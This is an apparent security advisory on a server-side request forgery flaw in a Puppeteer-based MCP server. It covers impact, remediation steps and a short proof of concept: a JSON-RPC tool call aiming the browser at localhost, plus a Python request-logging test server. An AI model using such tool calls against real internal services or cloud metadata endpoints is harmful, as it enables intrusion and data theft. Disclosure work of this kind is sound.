# Vulnerability Summary: Server-Side Request Forgery (SSRF) Vulnerability in GlutamateMCPServers ## 1. Vulnerability Overview * **Vulnerability Type**: Server-Side Request Forgery (SSRF) - CWE-918 * **Affected Component**: `@glutamateapp/puppeteer` (located at `src/puppeteer/index.ts`) * **Vulnerability Description**: The `puppeteer_navigate` MCP tool accepts a user-provided URL parameter and passes it directly to `page.goto` for navigation without any validation or whitelist restrictions. An attacker can exploit this vulnerability to make the headless browser access arbitrary targets (including internal services, cloud metadata endpoints, etc.), leading to information disclosure or further system compromise. * **CVSS Score**: 10.0 (Critical) * **CVSS Vector**: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H ## 2. Impact Scope * **Affected Versions**: * Confirmed affected commit: `e2de7328b001e5d943593dd1aa2c01c8b911278` (latest version) * Affected range: Revisions containing the same request-to-sink flow. * **Security Impact**: * **Confidentiality**: High (host/system data leakage). * **Integrity**: High (SSRF may alter browser state). * **Availability**: High (service disruption via command abuse). * **Scope**: Changed. ## 3. Remediation Plan * **Short-term Mitigation**: * Enforce strict URL whitelisting for outbound requests (restrict scheme/host/port/path). * Block loopback, link-local, RFC1918, and metadata targets after DNS resolution. * Add authentication, authorization, logging, and rate limiting. * **Long-term Fix**: * Eliminate the request-to-sink data flow. * Add input schema validation at the MCP/HTTP boundary. * Add regression tests proving that attacker-controlled values cannot reach sensitive sinks. * Publish maintainer security advisory. ## 4. Proof of Concept (POC) Code **JSON Request Payload:** ```json {"jsonrpc":"2.0","id":1,"method":"tools/call","params":{"name":"puppeteer_navigate","arguments":{"url":"http://127.0.0.1:8000"}}} ``` **Python Test Server Code (for SSRF verification):** ```python from http.server import BaseHTTPRequestHandler, HTTPServer import json class Handler(BaseHTTPRequestHandler): def _reply(self): length = int(self.headers.get("Content-Length", 0)) body = self.rfile.read(length) if length else b"" print("=== Incoming Request ===") print("Client:", self.client_address) print("Method:", self.command) print("Path:", self.path) print("Headers:", self.headers) if body: print("Body:", body.decode("utf-8", errors="replace")) resp = { "ok": True, "method": self.command, "path": self.path, "message": "local test server reached" } data = json.dumps(resp).encode() self.send_response(200) self.send_header("Content-Type", "application/json") self.send_header("Content-Length", str(len(data))) self.end_headers() self.wfile.write(data) def do_GET(self): self._reply() def do_POST(self): self._reply() if __name__ == "__main__": server = HTTPServer(("127.0.0.1", 8000), Handler) print("Listening on http://127.0.0.1:8000") server.serve_forever() ```